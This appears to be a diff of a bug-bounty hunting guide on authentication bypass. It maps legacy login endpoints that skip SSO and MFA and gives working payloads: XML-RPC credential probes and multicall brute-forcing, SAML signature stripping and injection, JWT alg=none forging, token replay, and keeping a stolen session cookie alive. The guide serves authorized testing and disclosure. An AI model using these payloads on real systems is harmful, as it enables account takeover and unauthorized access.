- | **WordPress** | `/xmlrpc.php` (`system.listMethods`, `wp.getUsersBlogs`, `system.multicall`) | Native WP user/pass; bypasses SSO, MFA, IP-allow rules on `/wp-login.php` |
126
- | **WordPress (REST)** | `/?rest_route=/wp/v2/users`, `/wp-json/wp/v2/users` | User enumeration anonymously even when login page is hardened |
127
- | **SharePoint (any version)** | `/_vti_bin/Authentication.asmx` (`Mode` + `Login` SOAP ops) | Native Forms-auth credential; FedAuth cookie returned; no rate limit on this endpoint observed on SP2013 farms — **this is the canonical SP equivalent of the WP XMLRPC bypass** |
128
- | **SharePoint legacy** | `/_vti_bin/_vti_aut/author.dll`, `/_vti_bin/_vti_adm/admin.dll`, `/_vti_bin/owssvr.dll` | FrontPage RPC; sometimes still wired to credential validators |
129
- | **SharePoint REST** | `/_api/contextinfo` (POST), `/_api/$metadata` | Anonymous FormDigest issuance; full API surface enumeration |
130
- | **Atlassian (Jira / Confluence)** | `/rest/auth/1/session` (basic-auth), `/rest/api/2/myself`, legacy `/rest/api/1.0/` | Native credentials accepted on `/rest/auth/1/session` even when Atlassian Crowd / Atlassian Access SSO is enforced on the UI |
131
- | **Drupal** | `/jsonapi/`, `/user/login?_format=json` | JSON POST endpoint that accepts native passwords; separate from SSO middleware |
132
- | **Drupal (D7 legacy)** | `/?q=user/login`, `/services/`, `/rest/` | Older REST modules with independent auth |
133
- | **Joomla** | `/administrator/index.php?option=com_login`, `/api/index.php/v1/users` | Native Joomla credentials accepted on admin entry independent of any front-site SSO |
134
- | **Exchange / OWA** | `/EWS/Exchange.asmx`, `/Autodiscover/Autodiscover.xml`, `/Microsoft-Server-ActiveSync` | NTLM / Basic; bypasses OWA UI restrictions (MFA, IP-allow). The classic CVE-2020-0688 / CVE-2021-26855 surface |
135
- | **Citrix NetScaler** | `/vpn/index.html`, `/cgi/login`, `/nf/auth/doAuthentication.do` | Native AD credentials; independent of MFA wrappers |
136
- | **F5 BIG-IP** | `/mgmt/tm/util/bash`, `/tmui/login.jsp` | Native admin credentials |
137
- | **Generic ASP.NET app** | `*.asmx?WSDL`, `*.svc?WSDL`, `trace.axd`, `elmah.axd`, `.disco` | Find every web service; many take credentials independently of the WebForms login |
138
- | **Spring Boot** | `/actuator/*`, `/management/*`, `/api/v1/auth/login`, `/api/v1/swagger-ui` | Actuator endpoints sometimes anonymously enumerable |
139
- | **Jenkins** | `/jnlpJars/jenkins-cli.jar`, `/script`, `/manage`, `/computer/(master)/script` | API tokens + native auth |
140
- | **GitLab** | `/api/v3/*` (deprecated but still on old installs), `/api/v4/users`, `/api/v4/projects` | Personal Access Tokens with looser scoping than UI session |
141
- | **TeamCity** | `/app/rest/users`, `/login.html?username=&password=` (GET-form-login) | Native admin credentials |
142
- | **Apache Tomcat** | `/manager/html`, `/host-manager/html`, `/manager/text/list` | Native Tomcat realm credentials independent of any front auth |
143
- | **WebLogic** | `/console/login/LoginForm.jsp`, `/wls-wsat/*` | Native admin |
144
- | **Oracle EBS / PeopleSoft** | `/OA_HTML/AppsLogin`, `/psp/*/?cmd=login` | Native ERP credentials |
145
-
146
- **How to use:**
147
- 1. Identify the tech stack from headers + paths (use `hunt-misc` Attack Surface Signals).
148
- 2. Find the row above that matches.
149
- 3. Probe the legacy endpoint anonymously to confirm it's reachable and not 403/404.
150
- 4. Test with synthetic credentials to confirm it accepts native credential format and returns differential responses (success vs failure).
151
- 5. Verify there is no rate limit, no lockout, no CAPTCHA — burst 10 requests at the same user, confirm uniform timing.
152
- 6. Report as **Critical / High** depending on chain to ATO: an anonymous + unlimited credential brute-force endpoint is consistently Critical on bug-bounty programs.
153
-
154
- **Lesson from a authorized engagement:** A an enterprise dealer portal on SharePoint 2013 had a custom branded `customlogin.aspx`. The hunt-auth-bypass skill was loaded but the matrix above did not exist in this document — and the WordPress XMLRPC pattern was not connected to the SharePoint equivalent. `/_vti_bin/Authentication.asmx` was reachable anonymously, accepted unlimited credential attempts with no rate limit and no lockout, and was the highest-impact finding in the engagement. Walking this matrix on the first pass would have surfaced it immediately.
155
-
156
- ---
157
-
158
- ## Payload & Detection Patterns
159
-
160
- **XMLRPC auth probe (bypasses SSO):**
161
- ```bash
162
- curl -s -X POST https://target.com/xmlrpc.php \
163
- -H "Content-Type: text/xml" \
164
- -d '<?xml version="1.0"?>
165
- <methodCall>
166
- <methodName>system.listMethods</methodName>
167
- <params></params>
168
- </methodCall>'
169
-
170
- # If 200 with method list → XMLRPC is enabled, test auth:
171
- curl -s -X POST https://target.com/xmlrpc.php \
172
- -H "Content-Type: text/xml" \
173
- -d '<?xml version="1.0"?>
174
- <methodCall>
175
- <methodName>wp.getUsersBlogs</methodName>
176
- <params>
177
- <param><value><string>admin</string></value></param>
178
- <param><value><string>password</string></value></param>
179
- </params>
180
- </methodCall>'
181
- ```
182
-
183
- **SAML signature stripping (send unsigned assertion):**
184
- ```python
185
- import base64, re
186
-
187
- # Decode captured SAMLResponse
188
- saml_b64 = "BASE64_FROM_BURP"
189
- saml_xml = base64.b64decode(saml_b64).decode()
190
-
191
- # Strip the Signature element entirely
192
- stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
193
-
194
- # Re-encode and submit
195
- print(base64.b64encode(stripped.encode()).decode())
196
- ```
197
-
198
- **SAML XML comment injection (username confusion):**
199
- ```xml
200
- <!-- Original NameID -->
201
- <NameID>attacker@evil.com</NameID>
202
-
203
- <!-- Injected to confuse parser -->
204
- <NameID>attacker@evil.com<!---->.victim@company.com</NameID>
205
-
206
- <!-- Or namespace confusion -->
207
- <NameID xmlns:evil="http://evil.com">victim@company.com</NameID>
208
- ```
209
-
210
- **Partner/cross-portal token reuse test:**
211
- ```bash
212
- # Get token from partner portal
213
- TOKEN=$(curl -s -X POST https://partners.target.com/login \
214
- -d 'email=attacker@test.com&password=pass' \
215
- -c cookies.txt | grep -o 'token=[^;]*')
216
-
217
- # Replay against admin portal
218
- curl -s https://admin.target.com/dashboard \
219
- -H "Authorization: Bearer $TOKEN" \
220
- -H "Cookie: $TOKEN"
221
- ```
222
-
223
- **JWT none algorithm attack:**
224
- ```python
225
- import base64, json
226
-
227
- header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
228
- payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"victim@company.com"}).encode()).decode().rstrip('=')
229
- token = f"{header}.{payload}."
230
- print(token)
231
- ```
232
-
233
- **Grep patterns for auth bypass surface:**
234
- ```bash
235
- # Find XMLRPC in scope
236
- grep -r "xmlrpc" scope_urls.txt
237
-
238
- # Find SSO indicators in JS
239
- grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
240
-
241
- # Find partner/admin subdomains
242
- subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
243
- ```
244
-
245
- ---
246
-
247
- ## Common Root Causes
248
-
249
- 1. **SSO bypasses local auth entirely at the UI layer, but not at the API layer** — developers disable the login form but forget that API endpoints (`/xmlrpc.php`, REST API, mobile API) have their own auth handlers that still accept native credentials.
250
-
251
- 2. **SAML signature validation is skipped or optional** — library defaults often don't enforce signature checking; developers use `wantAssertionsSigned: false` or fail to configure the IdP certificate correctly.
252
-
253
- 3. **Shared session infrastructure across different trust levels** — partner portals and admin portals reuse the same session cookie or JWT secret because they're built on the same internal framework, assuming access control at the application layer is sufficient.
254
-
255
- 4. **Trust inheritance in multi-tenant architectures** — a token issued in a lower-privilege context (partner, reseller) is accepted in a higher-privilege context because the verification only checks signature validity, not the issuance context.
256
-
257
- 5. **Plugin/module auth is independent of application auth** — every WordPress plugin that handles auth (contact forms, REST API extensions, WooCommerce) may implement its own auth handler inconsistently with the main site's SSO.
258
-
259
- 6. **XML parsing inconsistencies** — different XML parsers (used by SP vs. IdP) handle comments, namespaces, and whitespace differently, enabling confusion attacks where the signed content differs from the evaluated content.
260
-
261
- ---
262
-
263
- ## Bypass Techniques
264
-
265
- | Defense | Bypass |
266
- |---|---|
267
- | SSO enforced on login page | Probe alternate entry points: XMLRPC, REST API, mobile API, legacy endpoints |
268
- | SAML signature validation | XML comment injection, namespace wrapping, signature wrapping (XSW), remove signature entirely |
269
- | IP allowlisting on admin portal | Use partner portal token if it shares auth backend |
270
- | Rate limiting on login | XMLRPC allows credential stuffing via `system.multicall` — batches hundreds of auth attempts in one request |
271
- | CSRF token on login form | SAML flow is POST-based cross-origin by design; no CSRF token needed on `/saml/callback` |
272
- | JWT signature validation | `alg: none`, key confusion (RS256 → HS256 with public key as secret), brute-force weak secrets |
273
- | Separate session stores per portal | Check if cookie domain is `.target.com` (wildcard) — cookie bleeds between subdomains |
274
- | MFA on primary login | If SAML SP doesn't enforce MFA at the assertion level and accepts pre-auth assertions, MFA can be skipped |
275
-
276
- **XMLRPC multicall for mass auth bypass:**
277
- ```xml
278
- <methodCall>
279
- <methodName>system.multicall</methodName>
280
- <params><param><value><array><data>
281
- <value><struct>
282
- <member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
283
- <member><name>params</name><value><array><data>
284
- <value><string>admin</string></value>
285
- <value><string>password1</string></value>
286
- </data></array></value></member>
287
- </struct></value>
288
- <!-- repeat for each credential pair -->
289
- </data></array></value></param></params>
290
- </methodCall>
291
- ```
292
-
293
- ---
294
-
295
- ## Gate 0 Validation
296
-
297
- Before writing any report, answer these three questions:
298
-
299
- 1. **What can the attacker DO right now?**
300
- Must be: authenticate as another user OR authenticate without valid credentials OR elevate to admin/privileged role. "Partial information disclosure" is not auth bypass.
301
-
302
- 2. **What does the victim LOSE?**
303
- Must identify a concrete asset: account takeover of specific user, access to all admin functions, ability to read/modify other tenants' data, or access to privileged APIs. Abstract "security control bypass" without impact is not sufficient.
304
-
305
- 3. **Can it be reproduced in 10 minutes from scratch?**
306
- You must be able to: (a) start from a fresh browser/session, (b) follow your exact steps, and (c) arrive at authenticated access to a protected resource. If reproduction requires special preconditions you can't re-create (a specific victim's active session, timing windows), the report needs more work.
307
-
308
- ---
309
-
310
- ## Real Impact Examples
311
-
312
- **Scenario 1 — SSO Enforcement Bypassed via Forgotten Protocol Endpoint**
313
- A large ride-sharing company enforced SSO (via OneLogin) on all WordPress-based internal/public properties. The XMLRPC endpoint (`/xmlrpc.php`) remained active and accepted WordPress-native credentials entirely independent of the SSO flow. An attacker with any valid WP-native credentials (obtained via credential stuffing or from a previous breach) could authenticate directly through XMLRPC, bypassing MFA, SSO policies, and IP restrictions enforced on the main login form. Impact: Full authenticated access to all WordPress functions available to that user role, including content management and potentially admin functions.
314
-
315
- **Scenario 2 — SAML Assertion Forgery via Signature Validation Failure**
316
- A major enterprise communication platform's SAML SP implementation failed to properly validate assertion signatures in specific edge cases. By manipulating the XML structure of a captured SAMLResponse (specifically through comment injection or namespace prefix attacks), an attacker could modify the `NameID` value to impersonate any user in an organization — including workspace administrators — without possessing that user's credentials or private key material. Impact: Complete account takeover of any user within a SAML-enabled organization; attacker gains access to all messages, files, and integrations in the workspace.
317
-
318
- **Scenario 3 — Cross-Portal Privilege Escalation via Shared Auth Backend**
319
- An e-commerce platform's partner/reseller portal issued authentication tokens that were validated by the same backend service as the merchant admin portal. A partner-level account (lower trust, external-facing) could use its issued credentials or tokens to authenticate directly against admin-tier API endpoints, bypassing the merchant onboarding and permission assignment flow. Impact: A malicious partner could access any merchant's admin panel, modify store configurations, exfiltrate customer PII and payment data, or install malicious scripts — affecting thousands of merchant storefronts.
320
-
321
- ---
322
-
323
- ## Disclosed Report Citations (Backfill +8 — 2016-2025)
324
-
325
- The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Spans 4 SAML subclasses, 4 JWT subclasses, 1 legacy-protocol (XMLRPC), and 2 partner-portal cross-domain reuse patterns.
326
-
327
- 5. **GitHub Enterprise Server — SAML XSW via parser differential (CVE-2025-25291/25292)** ([H1 #2579939](https://hackerone.com/reports/2579939) · [Blog](https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/))
328
- - Subclass: SAML signature stripping / XSW (parser-differential variant)
329
- - Payload: signed SAML response; inject a sibling `<Assertion>` so REXML (signature-checker) and Nokogiri (business-logic reader) resolve different nodes via the same XPath. Signature validates against benign node; SP consumes attacker-controlled `<NameID>admin@target</NameID>`
330
- - Root cause: two XML parsers used for verification vs consumption return different elements for the same XPath
331
- - Year: 2025 — GitHub Security Lab bounty (program max class, internally rated Critical)
332
-
333
- 6. **GitHub Enterprise — SAML signature bypass on encrypted assertions (CVE-2024-4985)** ([H1 #2475347](https://hackerone.com/reports/2475347) · [ProjectDiscovery advisory](https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass))
334
- - Subclass: SAML signature stripping (XSW family) when encrypted-assertions feature enabled
335
- - Payload: forge SAML response with attacker-controlled assertion; exploit improper signature verification on the encrypted-assertion code branch; provision arbitrary user including `site_admin`
336
- - Root cause: improper cryptographic signature verification on the encrypted-assertion code branch
337
- - Year: 2024 — bounty undisclosed, CVSS 10.0
338
-
339
- 7. **Uber — SAML auth bypass on `uchat.uberinternal.com`** ([H1 #223014](https://hackerone.com/reports/223014))
340
- - Subclass: SAML signature stripping / improper assertion verification (OneLogin SP-side)
341
- - Payload: replay/modify SAML assertion with forged `NameID`; SP did not strictly validate signature scope, so attacker-controlled assertion accepted, granting OneLogin SSO session to internal chat
342
- - Root cause: improper SAML signature verification on SP implementation
343
- - Year: 2017 — **$8,500**
344
-
345
- 8. **Uber — OneLogin SSO bypass via WordPress XMLRPC** ([H1 #138869](https://hackerone.com/reports/138869))
346
- - Subclass: WordPress XMLRPC bypassing SSO (legacy-auth path not gated) — canonical Legacy-Protocol Matrix case
347
- - Payload: OneLogin plugin auto-created WP users with literal password `@@@nopass@@@`. SSO plugin blocked `wp-login.php` only. POST `xmlrpc.php` with `wp.getUsersBlogs` + known shared password → authenticated as any previously-SSO'd user
348
- - Root cause: SSO enforcement applied at one auth surface (wp-login) but legacy XML-RPC path retained password auth with a guessable shared password
349
- - Year: 2016 — **$7,000**
350
-
351
- 9. **Slack — SAML "confused-deputy" assertion reuse** ([Writeup](http://blog.intothesymmetry.com/2017/10/slack-saml-authentication-bypass.html))
352
- - Subclass: partner-portal / cross-IdP assertion reuse (audience-restriction not validated)
353
- - Payload: take an old expired GitHub-signed SAML assertion (different audience, different subject) → present to Slack ACS → Slack logs attacker in as the asserted username
354
- - Root cause: no audience-restriction nor freshness check; trust extended across IdPs
355
- - Year: 2017 — **$3,000**
356
-
357
- 10. **HackerOne — SAML signup domain enforcement bypass via control characters** ([H1 #2101076](https://hackerone.com/reports/2101076))
358
- - Subclass: partner-portal / SAML domain-binding bypass via unicode control characters
359
- - Payload: new user sign-up at SAML-enforced org; append trailing control character (e.g., `\r`, `\x00`) to email → domain comparison normalises away, signup proceeds → unauthorised access to the org
360
- - Root cause: inconsistent unicode/control-char normalisation between domain check and identity write
361
- - Year: 2024 — bounty awarded (amount undisclosed)
362
-
363
- 11. **8x8 / Jitsi-Meet — JWT alg-confusion (asymmetric verifier accepts symmetric alg)** ([H1 #1210502](https://hackerone.com/reports/1210502))
364
- - Subclass: JWT alg-confusion (RS256 → HS256 using public key as HMAC secret)
365
- - Payload: server publishes RS256 verification public key. Send a token with header `{"alg":"HS256"}` signed with that public key as the HMAC secret → Prosody module validates and admits attacker into authenticated/moderator room
366
- - Root cause: verifier did not enforce `alg=RS256`; allowed symmetric algorithm using the public key as shared secret
367
- - Year: 2021 — bounty undisclosed
368
-
369
- 12. **Argo CD (Internet Bug Bounty) — JWT audience claim not validated (CVE-2023-22482)** ([H1 #1889161](https://hackerone.com/reports/1889161))
370
- - Subclass: token-scope / audience check at issuance not at use (cross-audience token confusion)
371
- - Payload: obtain any RS256-signed token signed by the cluster's OIDC issuer but minted for a different `aud` (e.g., `kubernetes`) → present it as bearer to Argo CD API → API treats it as valid because it accepted the issuer's signature and skipped `aud` enforcement
372
- - Root cause: `aud` claim not enforced; signature-trust extended across audiences
373
- - Year: 2023 — **$2,400** via IBB
374
-
375
- ---
376
-
377
- ## Duende BFF — Token-Confusion & Session-Fixation (2024-2026 surface)
378
-
379
- Duende BFF deployments expose two distinct auth-bypass families beyond the CSRF angle covered in `hunt-csrf`. Both are documented architectural realities, not unicorn CVEs.
380
-
381
- ### Attack class 1 — YARP `UserOrClient` / `UserOrNone` privilege escalation
382
-
383
- `Duende.BFF.Yarp` attaches access tokens to proxied routes via `WithAccessToken(TokenType.X)` metadata. The **misconfig pattern**: developer marks a route `UserOrClient` (use user token if logged in, else fall back to *client-credentials* token) intending it for a "public catalog" endpoint. The client-credentials (M2M) token frequently has broader scope (`api.admin`, `internal.read`) than any user token. An **unauthenticated** attacker hitting that route gets the request proxied with the **service-account token attached** to the downstream API — privilege escalation by design when the downstream trusts the bearer.
384
-
385
- **Payload shape:** identify a BFF route marked `TokenType.UserOrClient` (visible via 401-vs-200 differential when no session, or via leaked OpenAPI/NSwag spec). Hit it with no cookies → BFF forwards with M2M token granting admin-scope downstream. ([docs.duendesoftware.com/bff/fundamentals/apis/yarp](https://docs.duendesoftware.com/bff/fundamentals/apis/yarp/))
386
-
387
- **Adjacent confirmed CVE:** **CVE-2024-51987** in `Duende.AccessTokenManagement.OpenIdConnect` — *"HTTP client uses incorrect token after refresh"* — materially the same family of token-confusion at the proxy layer. Moderate severity, fixed 2024. ([GHSA-...51987](https://github.com/advisories?query=duende))
388
-
389
- ### Attack class 2 — Cookie-domain wildcard + sliding expiration = persistent ATO
390
-
391
- When BFF session cookie has `Domain=.example.com` (devs do this to share login across `app.` and `admin.`), the `__Host-` prefix protection is dropped. Any sibling subdomain — including a **taken-over** one (`legacy.example.com` CNAMEd to deprovisioned Heroku/S3) — can write `Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com`. Victim hits `app.example.com` carrying the attacker's session = **session-fixation ATO**.
392
-
393
- If `SlidingExpiration=true` (default) and `ExpireTimeSpan` is large (e.g. 8h), an exfiltrated cookie remains valid and keeps sliding forward as long as the attacker periodically calls `/bff/user`. There is no server-side refresh-token rotation check on the cookie itself — only the OIDC token (server-side) rotates. Persistent ATO window per stolen cookie.
394
-
395
- **Payload shape:** subdomain takeover → write the BFF session cookie with `Domain=.example.com` → victim's next visit to `app.example.com` adopts attacker's session. Cron-curl `GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...'` every 6h indefinitely to keep the session alive.
396
-
397
- **Hardening reference:** [docs.duendesoftware.com/bff/fundamentals/session/handlers](https://docs.duendesoftware.com/bff/fundamentals/session/handlers/), [nestenius.se BFF cookie guide](https://nestenius.se/net/bff-in-asp-net-core-3-the-bff-pattern-explained/), [Langkemper on `__Host-` prefix](https://www.sjoerdlangkemper.nl/2017/02/09/cookie-prefixes/).
398
-
399
- ### Attack class 3 — `/bff/user` claim disclosure
400
-
401
- `GET /bff/user` returns the **full claim set** of the active session as a JSON array — `sub`, `sid`, `email`, `bff:session_expires_in`, `bff:session_state`, `bff:logout_url`, plus every custom claim the OP issued (department, role, internal employee ID, tenant ID). The endpoint is gated only by session cookie + `X-CSRF: 1`. If `AnonymousSessionResponse=Response200` is set, the endpoint also acts as a session probe (200 + claims vs 200 + `null`) usable as an auth-state oracle. Low/Medium info-disclosure on its own; valuable as recon for the YARP token-confusion class above. ([docs.duendesoftware.com/bff/fundamentals/session/management/user](https://docs.duendesoftware.com/bff/fundamentals/session/management/user/))
402
-
403
- ### Evidence strength + reporting tip
404
-
405
- No Duende.BFF-direct CVE exists. The three classes are exploitable via real-world misconfigurations; CVE-2024-51987 and CVE-2025-26620 in the adjacent `Duende.AccessTokenManagement` packages make token-confusion a confirmed family. **Report by chain impact** (e.g., "low-priv session reaches admin-scope downstream API via UserOrClient route" → Critical) rather than by CVE citation, since the issue is design-level.
406
-
407
- Cross-references for the chain:
408
- - `hunt-csrf` — the role-partitioned antiforgery class (the CSRF angle on the same BFF surface).
409
- - `hunt-subdomain-takeover` / `hunt-subdomain` — required primitive for the cookie-domain attack.
410
-
411
- ---
412
-
413
- ## Function-Level Access Control (Broken Authorization)
414
-
415
- Authentication bypass gets you *in*; **function-level access control** failures let an already-authenticated low-privilege user reach privileged *functions* the UI never offered them. This is the authorization sibling of `hunt-idor` (object-level access) — test both whenever you hold any authenticated session.
416
-
417
- **The sibling-function rule:** if 9 endpoints under a path enforce auth/role middleware, the 10th that doesn't is your bug. Admin route families are the highest-yield place to look:
418
-
419
- ```
420
- /api/admin/users → has auth middleware
421
- /api/admin/export → often MISSING it
422
- /api/admin/delete → often MISSING it
423
- /api/admin/reset → often MISSING it
424
- ```
425
-
426
- **Anti-patterns to grep for:**
427
- ```javascript
428
- // Missing middleware on a sibling route
429
- router.get('/admin/users', authenticate, authorize('admin'), getUsers);
430
- router.get('/admin/export', getExport); // No middleware!
431
-
432
- // Client-side role check only — server never re-checks
433
- if (user.role === 'admin') showAdminButton(); // frontend gate
434
- app.post('/api/admin/delete', deleteUser); // no server-side check
435
- ```
436
-
437
- **How to hunt:** enumerate every privileged endpoint (admin/export/delete/reset/impersonate, GraphQL admin queries), then replay each from a *regular* authenticated session — and again with no session. A 200 (or a differential vs the 403 its siblings return) is broken function-level access control.
438
-
439
- **Real paid example — HackerOne TrustHub:** `POST /graphql` with the `TrustHubQuery` operation had no authorization check — a regular user could read all vendors' data (CVSS 8.7, High). The object-level variant (e.g. a WebSocket `get_history` accepting an arbitrary UUID with no ownership check) belongs to `hunt-idor`.
440
-
441
- ---
442
-
443
- ## Related Skills & Chains
444
-
445
- - **`hunt-idor`** — Auth bypass without object-level access is half a finding; pair them. Chain primitive: legacy `/v1/users/{id}` route missing both auth middleware AND ownership check = unauthenticated cross-tenant data read via direct ID substitution → full PII dump from "I am nobody" starting position.
446
- - **`hunt-ato`** — Auth-bypass primitives feed the ATO funnel. Chain primitive: XMLRPC native-cred acceptance + no rate limit on `wp.getUsersBlogs` → credential-stuff with breach corpus from `hunt-misc` recon → `system.multicall` batches 1000 cred pairs per request → one valid pair = ATO bypassing the SSO + MFA the UI enforces.
447
- - **`hunt-sharepoint`** — The SP equivalent of the WordPress XMLRPC pattern lives here. Chain primitive: `/_vti_bin/Authentication.asmx` anonymous reachable + native Forms-auth credential accepted + zero rate limit = unlimited credential brute-force endpoint bypassing custom-branded `customlogin.aspx` protections → FedAuth cookie → full SharePoint farm access.
448
- - **`security-arsenal`** — Pull the JWT-attack payloads section (alg=none, kid path-traversal, JWK injection, RS256→HS256 key confusion) when JWT validation is the auth wall; pull the SAML signature-stripping section when the SP accepts unsigned assertions.
449
- - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an "auth bypass" that only enumerates usernames or only reveals a 401-vs-403 differential. Username enumeration alone without lockout-amplification is consistently N/A or Informational on H1.